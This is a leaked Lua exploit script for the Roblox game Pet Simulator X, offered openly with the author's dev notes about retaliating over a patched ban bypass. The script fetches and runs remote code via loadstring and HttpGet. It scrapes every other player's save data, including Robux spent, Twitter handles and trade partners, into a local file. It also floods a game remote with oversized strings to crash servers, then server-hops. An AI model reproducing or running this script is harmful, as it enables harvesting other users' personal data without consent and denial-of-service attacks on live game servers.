Created by Bluwu#3621
Features:
- DATA SCRAPER
- CRASH BOT
- STATS FROM 10,257 PLAYERS
- DEV NOTES:
- Preston patched my ban bypass after an entire month of radio silence because I publicly leaked the script, so here is one that automatically server hops, crashes servers, and saves the data of every ingame player.
- You can modify this if you want to save more info, I just used this for analytics for a tracker I made.
- I wouldn’t’ve leaked this if he had fixed it as well but it is clearly the only way to get shit fixed.
SCRIPT:
local saveTradeHistory = false
--set that to true if you want to save logs of every player they have traded to, its a bunch of data though
local serverCrash = false
local commonHandles = loadstring(game:HttpGet("https://rawscripts.net/raw/Pet-Simulator-X!-commonscrapernames-3767"))()
local petNet = loadstring(game:HttpGet("https://rawscripts.net/raw/Pet-Simulator-X!-PSX-Safe-Networking-3732"))()
local teleportThing = loadstring(game:HttpGet("https://rawscripts.net/raw/Pet-Simulator-X!-TeleportThing-3732"))()
--teleportThing isnt mine aaaaa
task.spawn(function()--in case server breaks
task.wait(45)
teleportThing()
end)
local httpService = game:GetService("HttpService")
local players = game:GetService("Players")
petNet:waitForLoad()
local localPlayer = players.LocalPlayer
local saveData = petNet:getPath("Save","Get")
local hugeIds = {157,225,239,266,274,291,292,307,308,309,316,317,329,330,331,351,352,353}
local function getHighestCounter(inputTable)
local counter = 0
local eggName = "Cracked Egg"
for i,v in next, inputTable do
if v > counter then
eggName = i
counter = v
end
end
return eggName, counter
end
local function calculateHuges(inputTable)
local number = 0
for i,v in next, inputTable do
if table.find(hugeIds, v.idt) then
number = number + 1 -- a lot of shitty exploits dont support ++ and +=
end
end
return number > 0 and number or false
end
local function simpleTradeHistory(inputPlayer,inputTable)
local outputTable = {}
--local alreadyTraded = {}
for i,v in next, inputTable do
if typeof(v)=="table" then
local playerName = v[2]~=inputPlayer and v[2] or v[1]
local hasAlreadyTraded = outputTable[playerName]
if not hasAlreadyTraded then
outputTable[playerName] = {inputPlayer, playerName, 1}
else
outputTable[playerName][3] = outputTable[playerName][3] + 1
end
end
end
return outputTable
end
local function readData(player)
local playerData = saveData(player)
if playerData then
local pets, openedEggs, tradeData, diamonds = playerData.Pets, playerData.EggsOpened, playerData.TradeHistory, math.floor(playerData.Diamonds)
local isFollowing, robuxSpent = playerData.IsFollowingOnTwitter, playerData.RobuxSpent--getting spicier
local twitterUsername = (isFollowing and playerData.TwitterUsername and not table.find(commonHandles,string.lower(playerData.TwitterUsername))) and playerData.TwitterUsername or nil--owo
local mostOpenedEgg, eggNumber = getHighestCounter(openedEggs)
local hugeAmount = calculateHuges(pets)
local tradeHistory = simpleTradeHistory(player.Name,tradeData)
local robuxSpent = robuxSpent > 0 and robuxSpent or nil
filteredData = {
MostOpenedEgg = {mostOpenedEgg, eggNumber},
Diamonds = diamonds
}
if saveTradeHistory then
filteredData["TradeHistory"] = tradeHistory
end
if hugeAmount then
filteredData["AmountOfHuges"] = hugeAmount
end
if robuxSpent then
filteredData["RobuxSpent"] = robuxSpent
end
if twitterUsername then
filteredData["TwitterHandle"] = twitterUsername
end
return filteredData
end
end
if not isfile("psxdata.txt") then
writefile("psxdata.txt","{}")
end
local function encode(data)
return httpService:JSONEncode(data)
end
local function decode(data)
return httpService:JSONDecode(data)
end
local dataTable = decode(readfile("psxdata.txt"))
for i,v in ipairs(players:GetPlayers()) do
if i~=1 and not dataTable[v.Name] then
dataTable[v.Name] = readData(v)
end
end
writefile("psxdata.txt",encode(dataTable))
local remote = workspace["__THINGS"]["__REMOTES"]["MAIN"]
task.spawn(function()
while task.wait() and serverCrash do
remote:FireServer("b",tostring(tick()):rep(100))--preston, fix when?
end
end)
if serverCrash then
wait(5)
end
teleportThing()